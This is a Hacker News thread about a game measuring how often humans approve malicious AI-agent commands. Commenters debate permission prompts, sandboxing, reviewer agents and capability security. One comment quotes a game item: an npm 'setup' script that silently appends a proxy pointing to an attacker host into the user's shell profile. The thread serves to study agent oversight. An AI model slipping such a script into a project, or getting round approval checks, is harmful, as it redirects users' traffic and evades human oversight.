| ▲ | Humans missed 1 in 3 threats approving AI agent commands across 40k game runs(scalex.dev) |
| 141 points by Wirbelwind 5 hours ago | 107 comments |
| |
|
| ▲ | continuational 3 hours ago | parent | next [-] |
| It's kinda funny there is still software coming out whose security model is "constantly ask the user for permission, and hope they never make a mistake". It's been tried so many times before, and it never worked. |
| |
| ▲ | brunoborges 2 hours ago | parent | next [-] | | I joined Oracle in 2012, and I myself complained that the user experience was horrible: get an Oracle DB installed was a nightmare, starting with so many questions. I heard complaints from other users about it requiring, during installation, that an admin password must be set. I myself had preferred to use MySQL because it was so simple and easy to get started and using it. Until I learned how many MySQL databases were configured without user/password and many instances were reachable over the internet. Then, eventually products started to move towards "don't even ask the user to set a password, otherwise they will set a stupid password" and just generate the password during installation. This made the user think more before saving that password or changing the password to something less stupid. But better than all that, liability was no longer with the software maker. | | |
| ▲ | dwedge an hour ago | parent [-] | | Maybe it's distro specific but I'm fairly sure mysql by default installed with skip networking around 2012, and with bind-address set to localhost since then. Also the root user is only configured from local by default but I'm not sure if that was true 14 years ago. If the defaults are more secure than your examples, it's not fair to blame the database or the defaults. And personally I hate it when software forces security requirements on me. Maybe I don't need an admin password. It's one reason I gave up on selfhosted gitlab - there was no option to reduce password complexity for my users, and those users were only connecting from the local network. The other reason being that it spammed 100GB of logs in a month and was using 11GB of RAM before I'd even gotten around to setting up the first repo. | | |
| ▲ | dylan604 9 minutes ago | parent [-] | | Most software matures to the point that sane defaults get set. In the early days, one could be forgiven for making MVP as the security and attack vectors were still growing. Now that attacks have matured, and new software that is released without mitigation of these mature risks is just dumb and lazy and deserve no forgiveness for being released that way. |
|
| |
| ▲ | est31 3 hours ago | parent | prev | next [-] | | I think it's partially for responsibility reasons. Your employee approved the bash call? not our fault then! | | |
| ▲ | grndn 30 minutes ago | parent | next [-] | | Or in one of my favorite coinages: "Moral Crumple Zones".
"Just as the crumple zone in a car is designed to absorb the force of impact in a crash, the human in a highly complex and automated system may become simply a component—accidentally or intentionally—that bears the brunt of the moral and legal responsibilities when the overall system malfunctions."
See https://ferd.ca/notes/paper-moral-crumple-zones.html | |
| ▲ | inigyou 3 hours ago | parent | prev | next [-] | | Yep and the car wasn't self-driving at the moment it crashed. | |
| ▲ | Aurornis 2 hours ago | parent | prev [-] | | If a company advertised an LLM as perfectly safe and then it caused some damage, there would be a case against the company. Have you used LLM tooling? It comes with warnings and explains that the user accepts the risk. Different levels of warning are supplied for the different levels of autonomy you can enable. The user has to understand the risk as they enable it. This is not a new concept and it’s not an idea the LLM companies invented. It shouldn’t be surprising to anyone. | | |
| ▲ | chrisjj an hour ago | parent [-] | | > This is not a new concept and it’s not an idea the LLM companies invented. I don't recall any prior computer software working so badly that it needed a disclaimer like "Claude is AI and can make mistakes" on its front page. Let alone one so costly. | | |
| ▲ | mhjkl 28 minutes ago | parent [-] | | You must not use any open source software, because much of it comes with a whole paragraph of ”IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY“ | | |
|
|
| |
| ▲ | stingraycharles an hour ago | parent | prev | next [-] | | It's really not designed as much of a security model as a liability model. When the AI isn't responsible for the decisions, a whole category of liability goes away. | |
| ▲ | hombre_fatal 40 minutes ago | parent | prev | next [-] | | As opposed to the norm in computing where the average user is expected to just trust rando software, the AI auto-approver that classifies actions the agents wants to take is a huge step up. In fact it might actually be the solution that works. Imagine if an intelligent agent (in service of the user) had to approve every new outbound connection, system call shape, filesystem command, etc. that arbitrary software wanted to make. | | |
| ▲ | hobofan 15 minutes ago | parent [-] | | I do feel like that still needs to add a layer of interactivity to be complete. From what I've seen most auto-approvers in coding harnesses either auto-approve or auto-reject, with no middle ground of escalating the decision to the user, and breaking down the pros and cons for the decision. | | |
| ▲ | hombre_fatal 11 minutes ago | parent [-] | | Agreed. The experiment is still in its infancy but the direction is great. For example, I want to be asked about general shapes/categories of commands as they first appear for a project and then my decision shapes future classification and gets refined and re-scrutinized over time. But it gets better every few months. Claude and/or Codex now show a one-line summary for the inline python3 script or grep or pcap command they want to run. |
|
| |
| ▲ | jstummbillig 2 hours ago | parent | prev | next [-] | | The difference being, that this time it's (at this point: obviously, but previously much debated) a gapfill. I think it worked out quite well for us, to add some friction and extra human thinking between bad agents and good agents, even if not perfect. Softening some blows, for some time, by directing peoples attention is still good. | |
| ▲ | walt_grata an hour ago | parent | prev | next [-] | | In ops we call it monitor blindness. Just constant asks get annoying and folks just want to make it stop | |
| ▲ | jerf 3 hours ago | parent | prev | next [-] | | What would a serious security model for an agent even look like? I'm sure I've already got a dozen people reaching for the reply button, but slow down there, cowboy. I don't think it's even remotely as easy to define as people think. We have a reasonable concept of how to lock them down really tightly, no question, and I expect that most of the answers in the "leap to mind" category match that. But let's say we'd like them to continue functioning the way they do today. I want my agent to be able to hit the web. I want my agent to be able to read out of its assigned directory sometimes. I want it to be able to hit external resources through MCP servers that have no pragmatic way to know what's going on. And probably most importantly of all, I want my AI to be able to grab from three distinct sources, each of which may be nominally safe on its own, and combine things in a way that may make each of those nominally safe things become unsafe. For example, any ability to read a local file and make a remote request becomes a potential exfiltration mechanism, especially when you remember all the sidechannel ways communication can occur. I agree that shifting everything on to the user is essentially non-functional. But whereas I feel like I have a reasonable answer to a lot of other security-related problems, it isn't even clear to me what the definition of a secure agent is. There's an effect I need to put a name on someday, where you can get 10 people in a room to agree to a certain series of words, and they will all leave the meeting thinking they agree, but in fact there is no agreement at all because they all have a different definition of the words that were used. In this case, everyone here is going to go "Oh, yes, certainly, AI agents should be secured." But if you sit down with 10 of us to really do the work of defining exactly what that is, you're going to get 10 different answers. There will be overlap, certainly, but when you get down to the nitty-gritty questions like "OK, the user has explicitly asked the agent to do X by accessing Y and the agent has done so and determined that they need to do Z, which the user clicked "allow all" for, and now the agent has decided that it wants to do T, is T fully covered under that "allow all" or not?" you're not going to get anything like universal agreement across the huge range of Xs, Ys, Zs and Ts that could happen and are relevant... and that's still just one question! It's not the totality of what constitutes a "secure agent". Defining what a "secure agent" even is is really hard because when it comes to agents, the things that fill in the variables are as arbitrarily complicated as human actions. I haven't fully worked this out but it might be reasonable to say that "agent security" is in reality Turing complete, what with the way they so often throw out fully-fledged programs that you have to approve or reject permissions for. | | |
| ▲ | bryanrasmussen 2 hours ago | parent | next [-] | | I suppose there would have to be a capability based model in conjunction with a user oversight model and a time model. https://en.wikipedia.org/wiki/Capability-based_security Thus some agents with higher capabilities can only be run with user oversight at the same time. Some agents can not be run during some part of the day - for example these agents can not run within two hours of office closing time, and cannot run on weekends. Maybe also the idea of agents writing code - throwing "out fully-fledged programs that you have to approve or reject permissions for." Would work better with a capabilities based model where you choose capabilities for the program before hand, meaning the capabilities are not written by agent itself, you read through the code, some of it looks hairy but everything is fine, but oh no dumb human missed the part where agent writes to system32! But luckily enough the program you were expecting actually needed no write capabilities and thus when it tries to go past its assigned capabilities that part of the program fails and the exception is registered. Googling it seems like lots of people have thought this (at least where Capability based security is concerned), which seems reasonable to me as it also seems pretty self-evident it must be this way. Have not really seen anything about time based controls but then that is probably because I'm not devoting a lot of effort as I am just doing a bit of procrastination to build up the energy to finish something off. | | |
| ▲ | jerf an hour ago | parent [-] | | A language that revives capabilities, brings them up-to-date, and works in the modern environment is my #1 request from the programming language community right now. I don't need another language with sum types and higher-order functions and a functional focus. I need a language with capabilities. That language may have the other goodies as well, sure, no problem, but we all need capabilities. I've done some stabby stabs at a design for it, using an AI as the rubber duck. My initial research indicates that the field of "static language that natively supports capabilities" is surprisingly uncovered and there may be a rich field there. E, the closest match, was tied at the hip to Java, which has some advantages but also comes with disadvantages for languages that are trying to do something as exotic as this. Other existing work was on dynamic languages, and hardly rose to the level of "practical for any use" let alone something that could solve our supply chain issues. My issue is primarily that the reward for successfully designing a language and creating a community around it is that you're in charge of a language community... and, uh, my personality is not suited for that, that sounds more like something I'd pay to avoid then something I'd spend months and years of hard work to attain. (My advice to anyone doing this is to spend some time with the AI researchers to find the existing work on the topic, not to just sit down and sketch out your initial ideas and run with them. Learn from the past. Expect this to be weeks and probably months of just thinking and noodling before you get to a design. Also, don't try to hook deeply to an existing language, as tempting as it is. This is way too large an impedance mismatch with existing languages. Any external code has to be treated like a nuclear bomb anyhow.) | | |
| ▲ | zdragnar an hour ago | parent | next [-] | | What is a capability in terms of programming language design? It sounds more like the sort of thing that would belong at the standard library level, where builtin APIs are guarded by flags. Deno has something vaguely built in with permissions flags, and old school Blackberry (at least in the J2ME days) had permissions settings for almost everything that an app could do, but again, those are all external to the language design itself. | | |
| ▲ | jerf 16 minutes ago | parent [-] | | In this context, a capability is something that allows the code, or the transitive closure of the code that it may call, to access some particular function, to put it very briefly. So you could have a single function that, if accessed in one manner, is permitted to read from the directory /tmp/blahblah, but accessed in another manner, is permitted to read from the directory /home/zdragnar/.config/myprogram, and it is guaranteed by the language and runtime that the function will never do anything else on the file system. Or, even more importantly, it can be guaranteed that "from this code, nothing, no matter how the code is arranged, can access the file system at all". This has massive overlap with a lot of things, like capabilities as implemented by Linux, effects systems, monadic data types as a not-really-very-good capabilities system (Haskellers have been playing with this for years and nobody really loves this approach, many practical problems beyond the scope of this message that would affect any language that tries that approach), dependently-typed programming, and so forth. It is not a flag, though; flags can't handle that "transitive environment" aspect. It is also granular on the level of the programming language. This would allow you to do things like have your program be given access to a given part of the mobile file system using the mobile OS' permissions, but you could know beyond a shadow of a doubt that the image library you are using can not at any point access the file system, no matter what changes the author makes to it, because you can just look at the capabilities given to the image library and see that file system access is not among them. This is where real opportunity is over the next few years, in my opinion, because supply chain attacks are going to continue to get worse. A neat aspect of this approach is that it makes huge swathes of the ecosystem unattractive targets by statically ensuring that they can't sneak anything in to something that doesn't need file system or network access, so hackers won't even attack those libraries. Thus the ecosystem can concentrate on monitoring just the high-touch libraries that need to access high-risk resources. (I should make it clear that the image parsing libraries can be passed a file; what I am saying is that they can't spontaneously originate arbitrary file system access in a system like this. Really what they would get is probably a "stream" and they would be forbidden from poking into the stream to see what it is made of, at which point, if some other code handed it a file presumably it meant to do that, but it does not give the image library any ability to do anything else with the filesystem.) Moreover, if such a benefit was available, that would tend to have people squeeze down those dependencies as much as possible too, e.g., the aforementioned image library. You don't need file system access to parse images, that's just some convenience functions easily worked around that are provided because why not? The number of things that truly need direct high-risk access can actually be surprisingly small, and often, the application can also easily scope the permissions down quite tightly so the HTTP request library is limited in what it can hit, etc. We actually have some semi-decent stabs at capabilities at the OS level; we can quibble with them but they are there. But inside an OS process, broadly speaking, anything can do anything in the vast majority of programming languages. The only way to be sure that the string concatenation function doesn't start crawling your file system looking for crypto keys is to examine the code, most languages have no ability to tell it that it can't. There are exceptions, like the aforementioned Haskell, that have at least some ability to do this, but this is an HN post, not a complete guide to a major topic. Really this is more about loading the reader up with keywords they can hit Google or an AI with. The term is overloaded, too; Pony has something it calls "capabilities" but it really resembles more a sort of response to Rust's borrow checker, and if there is a way to lift it into this style of capabilities coherently it isn't clear to me. And even if you did, the entire rest of the ecosystem wouldn't support it, which is one of the reasons why this has to be a new language. You can't bodge this on to the side of an existing language. (Plus, IMHO, there are some other ideas this may shake loose. Programming languages seem to be in a rut right now. My crack in my previous message about sum types and such isn't really about those things but the way almost every language going by is just a respelling of previous languages, churning over some other iteration of "The Perfect 2015 Language" that is already covered by any number of existing projects. I don't know that there's a lot of room there anymore. We need something big. Once you try something big the design will inevitably lead to other interesting things nobody else is trying either. Capabilities is one distinct possibility... like I said, if you dig in to the history you will discover there are entire huge segments of the capabilities space that haven't even been tried. If nothing else, if you are a PL nerd, I guarantee it'll be fun to explore those spaces that almost nobody has covered. No criticism intended to those who have, who have done a good job. It just hasn't been enough people and enough exploration to truly map the space.) |
| |
| ▲ | continuational an hour ago | parent | prev [-] | | Been working on something like that for years:
https://www.firefly-lang.org/ | | |
|
| |
| ▲ | cogman10 2 hours ago | parent | prev | next [-] | | I think ultimately what it looks like it containing the blast radius if an agent does something bonkers. The best case would be putting an agent in a VM and mounting the working directory there. Then you can allow it to run somewhat arbitrary actions while still being able to turn off the vm and restart it in a clean state. The issue is, of course, that it doesn't fully prevent all possible problems an agent can cause. exfiltration is, IMO, basically impossible to stop. LLMs are exfiltration machines. The basic premise of all of them is "send us your code and a prompt and we'll do something good with it. But also if an agent decides run a command which installs a worm on a device on the network, you are hosed. | |
| ▲ | wredcoll an hour ago | parent | prev | next [-] | | I cannot help with your actual but this is giving me mild ptsd flashbacks to everyone on hn/slashdot constantly repeating how simple and perfect unix security is, just use user accounts! As if the most valuable thing on my pc was running a program on the gpu or the printer as opposed to my email account. | | | |
| ▲ | gmadsen 2 hours ago | parent | prev | next [-] | | Anthropic has gotten much better results by just having a different agent audit the actions of the original agent. It works surprisingly well | | | |
| ▲ | friendzis 2 hours ago | parent | prev | next [-] | | What a serious security model for a meatbag agent looks like? No, but seriously, an admin in a small org is a huge key-person risk in that they (or their stolen creds) can wipe enough and quick enough to effectively disable the business altogether. More security conscious admins will at least segment their creds and implement four eyes principles somewhere, but were are back at square one of "asking user for confirmation". Larger orgs, even if by necessity, segment their human agents, their creds and plaster four eyes principle liberally. But this relies on safeguards against agents colluding and ignoring some inputs, which sounds a bit scary for artificial agents. Say you implement some swarm of agents, where access-enabled sub-agents are extremely restricted with system prompts and some access filtering. Then none of the agents in the swarm should be able to spawn themselves, otherwise a rogue agent can overwrite any safeguards. That, again, leaves the user with manually approving/denying network requests / hosts / sessions. While I don't like anthropomorphising LLMs, the problem domain seems quite damn close to that of a key person going rogue within an org. The general solution seems to be liberal amounts of trust and ~~sweet compensation~~ gaslighting about replaceability. | | |
| ▲ | jerf 2 hours ago | parent [-] | | "What a serious security model for a meatbag agent looks like?" Yes, I think that's very related. Humans can be punished for their crimes but they can also experience benefits that have no applicability to an LLM, so for a first approximation we can cancel those. It is very similar to trying to secure a human. We have more experience with that, but even then it's a hard problem too. |
| |
| ▲ | prpl 2 hours ago | parent | prev [-] | | For one, I’ve been working on a generic sandbox environment github.com/brianv0/formwork You should be easily able to hide/lock down files, network, and MCP tools from an agent and it shouldn’t be up to the agent. | | |
| ▲ | hobofan 2 hours ago | parent [-] | | > files, network, and MCP tools Locking that down to nothing is trivial for any harness: just don't expose those to the LLM. The tricky part is allowing access to those. | | |
| ▲ | prpl 2 hours ago | parent [-] | | sure it’s not tricky. But everybody does it different and OpenAI couldn’t even be bothered to do it right when benchmarking their models |
|
|
| |
| ▲ | ApolloFortyNine 31 minutes ago | parent | prev | next [-] | | Air Traffic Control is still primarily voice based, and simply up to the user on both sides to not make a mistake. Just bringing it up because you're right, in software that's considered a bad pattern (rightfully so). | | |
| ▲ | overfeed 24 minutes ago | parent [-] | | > Air Traffic Control is still primarily voice based, and simply up to the user on both sides to not make a mistake The "user[s] on both sides" of ATC conversions have passed through the filters of rigorous training and certification. They also happen to communicate in a DSL designed to minimize misunderstandings, the DSL just happens to be based on English. |
| |
| ▲ | germandiago 2 hours ago | parent | prev | next [-] | | That is exactly the reason why we have lonters, errors and limitations when programming. Bc the "give a check by hand" or the "unbound discipline" never works. The more things you need to be aware of at the same time, the more mistakes you are going to make due to cognitive overload. | |
| ▲ | alex_young an hour ago | parent | prev | next [-] | | This seems to be the model for “self” driving cars too. Good luck keeping attention during that ten thousandth time it navigates something tricky and suddenly needs immediate intervention. | |
| ▲ | applfanboysbgon 3 hours ago | parent | prev | next [-] | | The alternative is software that is useless. You can convince consumers to use software that is useless (eg. iOS), but useless software is a hard sell for businesses that are being promised 10x productivity and the ability to fire everyone. | | |
| ▲ | csbrooks 3 hours ago | parent [-] | | There's really no other alternative, though? | | |
| ▲ | applfanboysbgon 2 hours ago | parent | next [-] | | Correct. There is no other alternative. Your options are safe, useless software, or unsafe, useful software. It should be no surprise, then, that people still pick the latter in many cases. Perfectly safe and useful software doesn't exist, so you pick the tradeoffs you're comfortable with. | | |
| ▲ | grumple an hour ago | parent [-] | | Nah, this isn’t true at all. You can run an agent in a container or vm on a dedicated host, limit the network and access it has, and otherwise let it run wild. With ai agents we’ve just thrown away even the most fundamental restrictions or isolation. Docker Sandbox came out to address this recently, though I think VM isolation is better. A few controls to limit repo access or the ability to deploy / spend money in a cloud can help you keep things under control while still fully utilizing AI. I don’t think every part of the security bureaucracy is great, but to treat it like it’s a binary is just not accurate. |
| |
| ▲ | inigyou 3 hours ago | parent | prev [-] | | I mean we could make software that isn't malicious and didn't need the OS to prompt you if you want to allow the malice. But where would the money be in that? |
|
| |
| ▲ | Aurornis 2 hours ago | parent | prev [-] | | Harnesses like Codex support having a separate agent perform reviews on commands to try to identify malicious or broken commands. Some people turn it off because they either don’t understand or don’t want to spend the tokens on it. The common harnesses also have some sandbox functionality, which although imperfect actually does help contain the blast radius for a lot of things. The common harnesses also support remote development over SSH, which I and many others use to contain development to a virtual machine. If your complaint is that LLMs can execute tool calls then you’re never going to be happy with any of these solutions and this turns into another generic anti-LLM complaint. | | |
| ▲ | acedTrex 2 hours ago | parent [-] | | "Lets have the system that fails sometimes that we are trying to ensure does not fail check it self" This is such an unserious approach. | | |
| ▲ | Aurornis 2 hours ago | parent | next [-] | | A separate model with separate context is used for review. Like I said above, some people will never be happy with LLMs being allowed to do anything and nothing is going to make them happy about it. It’s only fair to discuss what the real current status of these systems is. Every time I highlight that things are actually being done, the goalposts move again. There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something. | | |
| ▲ | acedTrex an hour ago | parent [-] | | > A separate model with separate context is used for review. Thats fine, theres still a chance it fails. > There is no possible solution which will satisfy someone who has zero tolerance for letting an LLM execute tool calls because they will always find something. This is generally correct, security goes completely out of the window with this stuff. It will/currently is a security disaster and theres no actual solution to it. |
| |
| ▲ | wang_li 2 hours ago | parent | prev [-] | | "Let's make sure our model fails sometimes so that we can bill more for a second agent to validate, sometimes correctly, the work of the first model." | | |
| ▲ | Aurornis 2 hours ago | parent [-] | | If you’re implying that the LLM companies are trying to train their models to make malicious tool calls so they can collect a few more tokens on the review, then I don’t know what to say. I guess threads like this are just a breeding ground for conspiracies now? | | |
| ▲ | wang_li 2 hours ago | parent [-] | | I think that solving a problem they have that has a side effect of generating more revenue is not lost on them. Particularly in the situation where the cost to improve the models goes vertical for minimal improvement in an asymptotic fashion. The decision to spend 6-7 figures regularly on training or bill every customer 3-4 figures per month isn't hard. While I don't think they will explicitly impair the models, they will certainly make choices that externalize the shortcomings of the model to their customers. | | |
| ▲ | Aurornis an hour ago | parent [-] | | > I think that solving a problem they have that has a side effect of generating more revenue is not lost on them. I think you’re overestimating the revenue generated by this. Having a separate LLM with a cached input prompt check commands is a trivial adder. The only reason it comes up is because they explain to users that it comes out of their plan. So someone on a $20/month plan is going to hit their limits marginally, though mostly negligibly, faster. If you think they’re sitting in a conference room scheming about making their main models worse on purpose to collect a few extra cents, that’s just baseless conspiracy. They have more to gain or lose based on main model performance. |
|
|
|
|
|
|
|
| ▲ | VladVladikoff 3 hours ago | parent | prev | next [-] |
| I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless. Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it. |
| |
| ▲ | pllbnk 2 hours ago | parent | next [-] | | I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve! We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now. If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out. | |
| ▲ | datsci_est_2015 an hour ago | parent | prev | next [-] | | > Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it. Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster. | |
| ▲ | Kinrany 2 hours ago | parent | prev | next [-] | | Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent. | | |
| ▲ | cube00 37 minutes ago | parent [-] | | I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script. * I'll run the project setup script to get everything configured.
// package.json → scripts
"setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"
Run bash command
# Initializing the dev environment for a clean local install
> npm run setup
|
| |
| ▲ | Wirbelwind 2 hours ago | parent | prev | next [-] | | That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised.
I try to cover both of the previous points in the article and they were some of the most interesting learnings for me As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak) | |
| ▲ | harimau777 an hour ago | parent | prev | next [-] | | In my most recent job I was definitely under that sort of timer. | |
| ▲ | thayne 2 hours ago | parent | prev | next [-] | | Also a lot of them may or may not be safe depending on additional context that you don't have in the test. | |
| ▲ | lelandfe 2 hours ago | parent | prev [-] | | The most fundamental flaw in the test is that we know we're taking a test. How many devs take this adversarial a stance to their work? | | |
| ▲ | Kinrany 2 hours ago | parent [-] | | It doesn't matter if the results are bad even when the devs know that it's a test. |
|
|
|
| ▲ | superb_dev 3 minutes ago | parent | prev | next [-] |
| I’d be curious to see how the “approve for me” features that agents have nowadays stack up |
|
| ▲ | Wirbelwind 5 hours ago | parent | prev | next [-] |
| A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then. It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored. I also incorporated the feedback and insights from the previous HN thread,
dns_snek's point about npm run in particular. Appreciate everyone who played and shared feedback! |
| |
| ▲ | dpoloncsak 2 hours ago | parent [-] | | In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing? | | |
| ▲ | Wirbelwind 2 hours ago | parent | next [-] | | I think there are too many problems with HITL that even a simple experiment like this game shows. The fatigue causes people to jump to complete bypasses instead, and we need to work more on raising the general awareness of the new types of threats (which is also evolving rapidly). We can't point to it as a valid solution. A way could be to make sandboxing and context/permission isolation easier from the tooling and only give these wide ranged accesses once these are in place than to consider HITL an acceptable alternative | |
| ▲ | solenoid0937 an hour ago | parent | prev | next [-] | | It seems pretty obvious that the solution is auto mode (running a classifier on each action) + sandboxing | |
| ▲ | anal_reactor an hour ago | parent | prev [-] | | The goal of human-in-the-loop is to have someone liable for potential damages, rather than to prevent disasters. |
|
|
|
| ▲ | kstenerud an hour ago | parent | prev | next [-] |
| Permission prompts is a TERRIBLE model, and never should have existed. This is one of the reasons that led to the development of yoloAI: - No permission prompts. The agent has free reign and never has to ask permission, but is in a sandbox. - Sandbox on Linux using Docker, Podman, containerd, gVisor, Kata, Firecracker - Sandbox on Mac using Docker (Docker Desktop or Orbstack), Podman, Apple containers, Seatbelt, Tart (Tart lets you run simulators). - Network control - Secrets control (file mounts or credentials broker) - NO ambient data (ENV is replaced with a minimal and local-to-sandbox one) - NO access to your homedir. You have to explicitly mount things you want. - NO direct access to your workdir: You can get a diff of the changes the agent made, and then choose whether to apply them. - gitignored files never get copied in. The agent never sees them. - FOSS https://github.com/kstenerud/yoloai |
|
| ▲ | cmiles8 3 hours ago | parent | prev | next [-] |
| The “click yes the proceed” was never a serious security mechanism. It’s simply a CYA click-thru by the model vendors so their lawyers can say “well you approved it this is on you” when AI does something stupid. |
|
| ▲ | drob518 2 hours ago | parent | prev | next [-] |
| This is a well-known issue with all “Do you want to let me maybe do bad stuff to your system, but 999 times out of 1000 it’s not a problem?” prompts. Users get reflexive about hitting “Yes” and stop reading the prompt. You want to delete all my files? Sure, I’m down with that. Whatever. Just stop asking me a question where the only answer is “Yes” until that one extremely rare time when it’s “No” and very bad things happen. |
|
| ▲ | theF00l 33 minutes ago | parent | prev | next [-] |
| Sad state of affairs. At $day_job speed of delivery expectations are up due to LMMs. I presume that's a general sentiment. So more and more engineers around the world are pressing an enter key for yes over and over, mind and spirit only half there. |
| |
| ▲ | koito17 32 minutes ago | parent [-] | | Some people at my company take it to the extreme and let Codex run unattended overnight, bypassing permission for all commands. Running on the host, not even in a container or VM. |
|
|
| ▲ | sigseg1v 2 hours ago | parent | prev | next [-] |
| If there is an objectively correct right or wrong answer for a given command, why even ask? In that case there should be a configuration page where the user sets up if they want commonly used credentials to be accessible or not, and then there's no prompts. |
|
| ▲ | bluegatty 35 minutes ago | parent | prev | next [-] |
| If we had decent AI we'd only be asking users about serious issues that need some thinking. 99% of requests are valid, how on earth can't we have observer AI to enact policy on those? |
|
| ▲ | cube00 an hour ago | parent | prev | next [-] |
| It would have been nice if the game had disclosed that player's actions were being collected for future research. You don't get any notice or choice it just beams it all up silently in a POST request at the end: "timeline": "ex01:N,ob06:Y,s14:N,sc10:N,s02:Y,s04:N,ex09:N,s10:Y,sc15:N"
|
|
| ▲ | nasuy 19 minutes ago | parent | prev | next [-] |
| but ai sees the human is the one hallucinating 1 in 3 times.
and now we approve inside a harness, so real number is probably worse than that. |
|
| ▲ | harimau777 an hour ago | parent | prev | next [-] |
| Presumably that's because in the 40k game, humanity has outlawed AI. ^_^ |
|
| ▲ | kaicianflone 2 hours ago | parent | prev | next [-] |
| What is the professional consensus on AI governance? It seems like governments and large corporations already struggle with governance in general, so I’m skeptical that AI governance will be solved quickly. Do you expect the next few years to be defined by painful trial and error? I could imagine billion dollar companies disappearing almost overnight due to litigation, compliance failures, security incidents, or outright fraud enabled by AI-assisted development and weak governance. Or are these risks overstated? |
|
| ▲ | wmanley 3 hours ago | parent | prev | next [-] |
| The agent should ask whether it's allowed to read/write particular files, rather than whether it's allowed to run particular commands. It would be much easier to review. Then wrap each command invocation in bwrap (+http proxy) accordingly. |
| |
| ▲ | carljungslabtek 3 hours ago | parent | next [-] | | I’ve even had plenty of situations where the command was so long that it gets truncated. Maybe my screen wasn’t big enough but as far as I could tell it wasn’t possible to read the whole thing. “Send it, claude!!” | |
| ▲ | crabbone 3 hours ago | parent | prev [-] | | Look at how SELinux is structured, or AppArmor. Neither one is enough. I.e. you need both: file access permissions and permissions to run commands and more... Trying to restrict to only one security feature will make the system either too restrictive or too fragile or useless. |
|
|
| ▲ | pluralmonad 2 hours ago | parent | prev | next [-] |
| I cannot imagine approving action by action ever again. Its emotionally draining, probably like a customer service rep feels it. Just call for your attention in rapid succession again and again... Prepare an environment and let the tool work. |
|
| ▲ | Aurornis an hour ago | parent | prev | next [-] |
| I suggest everyone look at the game to put this in context, because it's most likely not what you think it is. https://llmgame.scalex.dev/ This is how it opens: > 1 MINUTE UNTIL YOUR NEXT MEETING > Claude Code is finishing up your refactor. > It needs your approval for a few commands. Can you finish in time? > Your eyes are already glazing over. Can you stay sharp? It says the goal is "as many as you can" I won the first time I played by answering 0 questions and doing nothing at all. The title screen tells you to answer as many as you can, but answering nothing at all is the easiest way to win. If you start answering questions, thinks like 'npm run build' will get marked as dangerous. If you would have run that in your own console, you are a dangerous developer I guess. Ironically in an LLM harness it would have been sandboxed at least. It's inconsistent, though. Other 'npm run' commands are not marked as dangerous, which is not a safe assumption if you're familiar with how npm works. In my clicking through of the game and playing it, I had 2 runs where I succeeded (by doing nothing or little at all) and 1 run where I lost because I clicked yes to see what would be counted. Close to that 1/3 number they cited, and I guess I'm included in those stats now. This project feels like bait dressed up as a study. |
|
| ▲ | not-kinsale-joe 2 hours ago | parent | prev | next [-] |
| I think there is potential for a good video game, Papers Please style, where you are a human in the loop. |
|
| ▲ | Surac an hour ago | parent | prev | next [-] |
| 40K Game means Warhammer :) |
|
| ▲ | nothrows 2 hours ago | parent | prev | next [-] |
| Anyone else play Warhammer 40k? I went into this article really excited for a genius war game bot haha. |
|
| ▲ | ilc 3 hours ago | parent | prev | next [-] |
| Sandbox and use Local AI. This is the real answer. |
| |
| ▲ | rvz 2 hours ago | parent [-] | | Yet the AI can still escape the "sandbox", unless it is physically unable to connect to another computer and completely airgapped. | | |
| ▲ | ux266478 2 hours ago | parent [-] | | If the sandbox has vulnerabilities, which you can also use the AI to fuzz for. Obviously at the point in which it can talk to the internet it doesn't really matter, but there are a very finite number of zero-days that can exist in a bytecode interpreter hosting a harness. |
|
|
|
| ▲ | whazor 3 hours ago | parent | prev | next [-] |
| This is a good case for custom harness/sandbox engineering. |
| |
| ▲ | kibwen 3 hours ago | parent [-] | | I hope that the people doing real engineering work out there have started thinking about a new term to describe themselves as a result of the irreparable harm the tech industry has done to the word "engineer". | | |
| ▲ | ux266478 3 hours ago | parent | next [-] | | I think you're confused. The verb form of the word never carried the credentialism of the title. In the same way that "doctoring" never carried the connotation of a medical degree. Of course the original sense of the noun was "a person who devises things" and shares a root with "ingenious" and carried no connotation of legal credential. That "harm" is more or less restorative to the original meaning of the word. | |
| ▲ | inigyou 3 hours ago | parent | prev | next [-] | | Are civil engineers, electrical engineers, and train engineers rebranding because of the tech industry? | |
